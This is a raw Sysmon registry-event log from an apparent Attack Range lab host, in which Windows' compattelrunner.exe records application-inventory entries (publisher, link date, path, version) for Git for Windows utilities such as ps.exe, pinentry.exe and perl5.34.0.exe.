13241300x800000000000000037365Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.417{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\realpath.exe|c0afeb0f661fb0d7\LinkDate01/01/1970 00:00:00 13241300x800000000000000037364Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.417{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\realpath.exe|c0afeb0f661fb0d7\Publisher(Empty) 13241300x800000000000000037363Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.417{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\realpath.exe|c0afeb0f661fb0d7\LowerCaseLongPathc:\program files\git\usr\bin\realpath.exe 13241300x800000000000000037362Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.417{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\readlink.exe|95adf512ea71f082\BinProductVersion(Empty) 13241300x800000000000000037361Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.417{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\readlink.exe|95adf512ea71f082\LinkDate01/01/1970 00:00:00 13241300x800000000000000037360Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.417{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\readlink.exe|95adf512ea71f082\Publisher(Empty) 13241300x800000000000000037359Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.417{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\readlink.exe|95adf512ea71f082\LowerCaseLongPathc:\program files\git\usr\bin\readlink.exe 13241300x800000000000000037358Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.417{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\pwd.exe|d284abac49ab21f2\BinProductVersion(Empty) 13241300x800000000000000037357Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.417{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\pwd.exe|d284abac49ab21f2\LinkDate01/01/1970 00:00:00 13241300x800000000000000037356Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.417{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\pwd.exe|d284abac49ab21f2\Publisher(Empty) 13241300x800000000000000037355Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.417{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\pwd.exe|d284abac49ab21f2\LowerCaseLongPathc:\program files\git\usr\bin\pwd.exe 13241300x800000000000000037354Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.417{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\pwcat.exe|8b9017bb0d797817\BinProductVersion(Empty) 13241300x800000000000000037353Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.417{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\pwcat.exe|8b9017bb0d797817\LinkDate01/01/1970 00:00:00 13241300x800000000000000037352Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.417{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\pwcat.exe|8b9017bb0d797817\Publisher(Empty) 13241300x800000000000000037351Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.417{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\pwcat.exe|8b9017bb0d797817\LowerCaseLongPathc:\program files\git\usr\lib\awk\pwcat.exe 13241300x800000000000000037350Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.417{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\ptx.exe|e8f065049d3c881d\BinProductVersion(Empty) 13241300x800000000000000037349Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.417{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\ptx.exe|e8f065049d3c881d\LinkDate01/01/1970 00:00:00 13241300x800000000000000037348Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.417{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\ptx.exe|e8f065049d3c881d\Publisher(Empty) 13241300x800000000000000037347Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.417{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\ptx.exe|e8f065049d3c881d\LowerCaseLongPathc:\program files\git\usr\bin\ptx.exe 13241300x800000000000000037346Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.417{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\psl.exe|c168c852dc0b9a95\BinProductVersion(Empty) 13241300x800000000000000037345Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.417{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\psl.exe|c168c852dc0b9a95\LinkDate01/01/1970 00:00:00 13241300x800000000000000037344Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.417{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\psl.exe|c168c852dc0b9a95\Publisher(Empty) 13241300x800000000000000037343Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.417{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\psl.exe|c168c852dc0b9a95\LowerCaseLongPathc:\program files\git\usr\bin\psl.exe 13241300x800000000000000037342Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.417{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\ps.exe|c0f5c870a00cafd8\BinProductVersion(Empty) 13241300x800000000000000037341Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.417{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\ps.exe|c0f5c870a00cafd8\LinkDate03/26/2021 22:24:40 13241300x800000000000000037340Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.417{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\ps.exe|c0f5c870a00cafd8\Publisher(Empty) 13241300x800000000000000037339Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.417{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\ps.exe|c0f5c870a00cafd8\LowerCaseLongPathc:\program files\git\usr\bin\ps.exe 13241300x800000000000000037338Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.417{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\proxy-lookup.exe|1b18ebec8d870bc5\BinProductVersion(Empty) 13241300x800000000000000037337Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.417{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\proxy-lookup.exe|1b18ebec8d870bc5\LinkDate01/01/1970 00:00:00 13241300x800000000000000037336Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.417{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\proxy-lookup.exe|1b18ebec8d870bc5\Publisher(Empty) 13241300x800000000000000037335Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.417{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\proxy-lookup.exe|1b18ebec8d870bc5\LowerCaseLongPathc:\program files\git\mingw64\bin\proxy-lookup.exe 13241300x800000000000000037334Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.417{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\printf.exe|89ffa032389ba988\BinProductVersion(Empty) 13241300x800000000000000037333Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.417{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\printf.exe|89ffa032389ba988\LinkDate01/01/1970 00:00:00 13241300x800000000000000037332Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.417{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\printf.exe|89ffa032389ba988\Publisher(Empty) 13241300x800000000000000037331Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.417{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\printf.exe|89ffa032389ba988\LowerCaseLongPathc:\program files\git\usr\bin\printf.exe 13241300x800000000000000037330Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.417{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\printenv.exe|f3bb2a19296ad0a0\BinProductVersion(Empty) 13241300x800000000000000037329Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.417{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\printenv.exe|f3bb2a19296ad0a0\LinkDate01/01/1970 00:00:00 13241300x800000000000000037328Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.417{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\printenv.exe|f3bb2a19296ad0a0\Publisher(Empty) 13241300x800000000000000037327Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.402{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\printenv.exe|f3bb2a19296ad0a0\LowerCaseLongPathc:\program files\git\usr\bin\printenv.exe 13241300x800000000000000037326Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.402{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\pr.exe|4e05d5efd64cfc18\BinProductVersion(Empty) 13241300x800000000000000037325Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.402{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\pr.exe|4e05d5efd64cfc18\LinkDate01/01/1970 00:00:00 13241300x800000000000000037324Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.402{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\pr.exe|4e05d5efd64cfc18\Publisher(Empty) 13241300x800000000000000037323Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.402{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\pr.exe|4e05d5efd64cfc18\LowerCaseLongPathc:\program files\git\usr\bin\pr.exe 13241300x800000000000000037322Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.402{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\pluginviewer.exe|f40dc68beb42a176\BinProductVersion(Empty) 13241300x800000000000000037321Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.402{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\pluginviewer.exe|f40dc68beb42a176\LinkDate01/01/1970 00:00:00 13241300x800000000000000037320Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.402{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\pluginviewer.exe|f40dc68beb42a176\Publisher(Empty) 13241300x800000000000000037319Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.402{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\pluginviewer.exe|f40dc68beb42a176\LowerCaseLongPathc:\program files\git\usr\bin\pluginviewer.exe 13241300x800000000000000037318Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.402{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\pldd.exe|2d0b12ded17c614c\BinProductVersion(Empty) 13241300x800000000000000037317Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.402{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\pldd.exe|2d0b12ded17c614c\LinkDate03/26/2021 22:24:40 13241300x800000000000000037316Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.402{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\pldd.exe|2d0b12ded17c614c\Publisher(Empty) 13241300x800000000000000037315Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.402{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\pldd.exe|2d0b12ded17c614c\LowerCaseLongPathc:\program files\git\usr\bin\pldd.exe 13241300x800000000000000037314Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.402{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\pkcs1-conv.exe|8fa2ffc9f6076c8c\BinProductVersion(Empty) 13241300x800000000000000037313Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.402{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\pkcs1-conv.exe|8fa2ffc9f6076c8c\LinkDate01/01/1970 00:00:00 13241300x800000000000000037312Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.402{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\pkcs1-conv.exe|8fa2ffc9f6076c8c\Publisher(Empty) 13241300x800000000000000037311Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.402{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\pkcs1-conv.exe|8fa2ffc9f6076c8c\LowerCaseLongPathc:\program files\git\mingw64\bin\pkcs1-conv.exe 13241300x800000000000000037310Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.402{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\pkcs1-conv.exe|5cc5d2e050d9b487\BinProductVersion(Empty) 13241300x800000000000000037309Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.402{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\pkcs1-conv.exe|5cc5d2e050d9b487\LinkDate01/01/1970 00:00:00 13241300x800000000000000037308Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.402{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\pkcs1-conv.exe|5cc5d2e050d9b487\Publisher(Empty) 13241300x800000000000000037307Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.402{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\pkcs1-conv.exe|5cc5d2e050d9b487\LowerCaseLongPathc:\program files\git\usr\bin\pkcs1-conv.exe 13241300x800000000000000037306Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.402{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\pinky.exe|852da7421d64c177\BinProductVersion(Empty) 13241300x800000000000000037305Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.402{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\pinky.exe|852da7421d64c177\LinkDate01/01/1970 00:00:00 13241300x800000000000000037304Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.402{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\pinky.exe|852da7421d64c177\Publisher(Empty) 13241300x800000000000000037303Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.402{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\pinky.exe|852da7421d64c177\LowerCaseLongPathc:\program files\git\usr\bin\pinky.exe 13241300x800000000000000037302Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.402{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\pinentry.exe|5a096695f03f1450\BinProductVersion(Empty) 13241300x800000000000000037301Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.402{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\pinentry.exe|5a096695f03f1450\LinkDate01/01/1970 00:00:00 13241300x800000000000000037300Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.402{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\pinentry.exe|5a096695f03f1450\Publisher(Empty) 13241300x800000000000000037299Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.402{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\pinentry.exe|5a096695f03f1450\LowerCaseLongPathc:\program files\git\usr\bin\pinentry.exe 13241300x800000000000000037298Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.402{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\pinentry-w32.exe|24e0f01a1d2b39e8\BinProductVersion(Empty) 13241300x800000000000000037297Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.402{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\pinentry-w32.exe|24e0f01a1d2b39e8\LinkDate01/01/1970 00:00:00 13241300x800000000000000037296Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.402{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\pinentry-w32.exe|24e0f01a1d2b39e8\Publisher(Empty) 13241300x800000000000000037295Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.402{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\pinentry-w32.exe|24e0f01a1d2b39e8\LowerCaseLongPathc:\program files\git\usr\bin\pinentry-w32.exe 13241300x800000000000000037294Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.402{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\perl5.34.0.exe|163b76b108d3f013\BinProductVersion(Empty) 13241300x800000000000000037293Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.402{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\perl5.34.0.exe|163b76b108d3f013\LinkDate01/01/1970 00:00:00 13241300x800000000000000037292Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 